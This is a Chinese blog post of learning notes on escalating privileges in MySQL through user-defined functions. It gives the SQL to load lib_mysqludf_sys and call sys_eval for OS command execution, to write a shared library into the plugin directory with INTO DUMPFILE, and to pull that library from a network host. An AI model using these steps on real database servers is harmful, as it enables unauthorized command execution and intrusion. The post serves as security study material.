zoukankan      html  css  js  c++  java
  • MySQL提权 通过UDF


    UDF是什么

    参考:https://www.cnblogs.com/litlife/p/9030673.html

    UDF = 'user defined function',即用户自定义函数。 通过添加新函数,对MySQL的功能进行扩充,就类似使用本地函数如abs() 或 concat() 一样。

    UDF在mysql5.1以后的版本中,存在于‘mysql/lib/plugin’目录下,文件后缀为.dll.so;

    命令执行

    参考:https://blog.csdn.net/x728999452/article/details/52413974
    参考:https://blog.csdn.net/jssg_tzw/article/details/73235232
    参考:https://www.cnblogs.com/xishaonian/p/6016486.html
    参考:https://www.cnblogs.com/yunsicai/p/4080864.html

    我跟着步骤执行失败了,调试了很久,暂时先放弃了。记录一下失败的过程,后期解决。
    1.信息收集
    show variables like '%version_%';

    show variables like "%plugin%";

    select @@version;

    2.将mysql里面自带的lib_mysqludf_sys.so拷贝到MySQL服务器的./plugin路径

    因为没有对/usr/lib/mysql的读写权限,这里暂时找到别的方法绕过,现在手动上传,体验一下UDF而已。

    这里也需要注意:利用UDF,有个前提条件就是对/usr/lib/mysql要有读写权限。

    3.执行命令

    create function sys_eval returns string soname 'lib_mysqludf_sys.so';
    

    报错:

    sql> create function sys_eval returns string soname 'lib_mysqludf_sys.so'
    [2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
    [2019-08-29 11:46:08] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
    

    在尝试别的命令看看:

    # 参考
    CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
    CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
    CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
    CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
    CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
    
    # 我先执行一个
    CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
    

    报错:

    [2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
    sql> CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so'
    [2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
    [2019-08-29 11:49:27] [HY000][1126] Can't open shared library 'lib_mysqludf_sys.so' (errno: 11 /usr/local/mysql/lib/plugin/lib_mysqludf_sys.so: invalid ELF header)
    

    很难过,没有执行成功。心有不甘的吃饭去了。

    后面想应该还是自己步骤不对,就找了一份正确的步骤,看看别人是怎么操作,通过和别人的对比,知道是我的.so有问题。(mysql里面的.so 应该是加密过了,导致不起作用)

    https://github.com/rapid7/metasploit-framework/tree/master/data/exploits/mysql
    在这里重新下载了新的.so ,并放到 ./plugin路径下之后。

    执行命令:

    create function sys_eval returns string soname 'lib_mysqludf_sys_64.so';
    
    select sys_eval('pwd');
    

    执行成功 !激动。

    后续总结一下上传问题:
    如果你有对改路径读写权限,有几种方式写入:

    • 直接写二进制文本(或者加密后的文本)
    • 通过网络路径写入 load_file(///192.168.0.1/udf.so)

    文本写入 Example:

    select "7f45 4c46 0201 0100 0000 0000 0000 0000
    0300 3e00 0100 0000 d00c 0000 0000 0000
    # 太长了,省略N行...
    0000 0000 0000 0000 0100 0000 0000 0000
    0000 0000 0000 0000 " into dumpfile '/usr/local/mysql/lib/plugin/udf_test.so';
    


    写入成功。

    远程写入

    select "///10.0.27.35/learnphp/udf/lib_mysqludf_sys_64.so" into dumpfile '/usr/local/mysql/lib/plugin/udf_test1.so';
    

    反弹Shell

    to-do.

    提权

    获得管理员权限

    to-do.

    文章还没有更新完,请关注https://www.cnblogs.com/mysticbinary博客,方便获得最新更新。


    这篇文章对你有帮助吗?作为一名程序工程师,在评论区留下你的困惑或你的见解,大家一起来交流吧!
    微信公众号: Mysticbinary
    Github:https://github.com/Mysticbinary
    本文版权归作者所有,欢迎转载,但未经作者同意请保留此段声明,请在文章页面明显位置给出原文链接
    声明:本文章仅限于讨论网络安全技术,请勿用作任何非法用途,否则后果自负,本人和博客园不承担任何责任!
  • 相关阅读:
    哈希算法原理和一致性哈希算法
    负载均衡之轮循算法
    Mybatis的使用
    Spring与SpringMVC的整合
    编程式事务与声明式事务
    八大排序方法及对Arrays类的排序实现探讨
    单例模式的线程安全性
    HotSpot对象的创建及内存布局
    逃逸分析、栈上分配、标量替换、同步替换
    java编译器和解释器
  • 原文地址:https://www.cnblogs.com/mysticbinary/p/14403031.html
Copyright © 2011-2022 走看看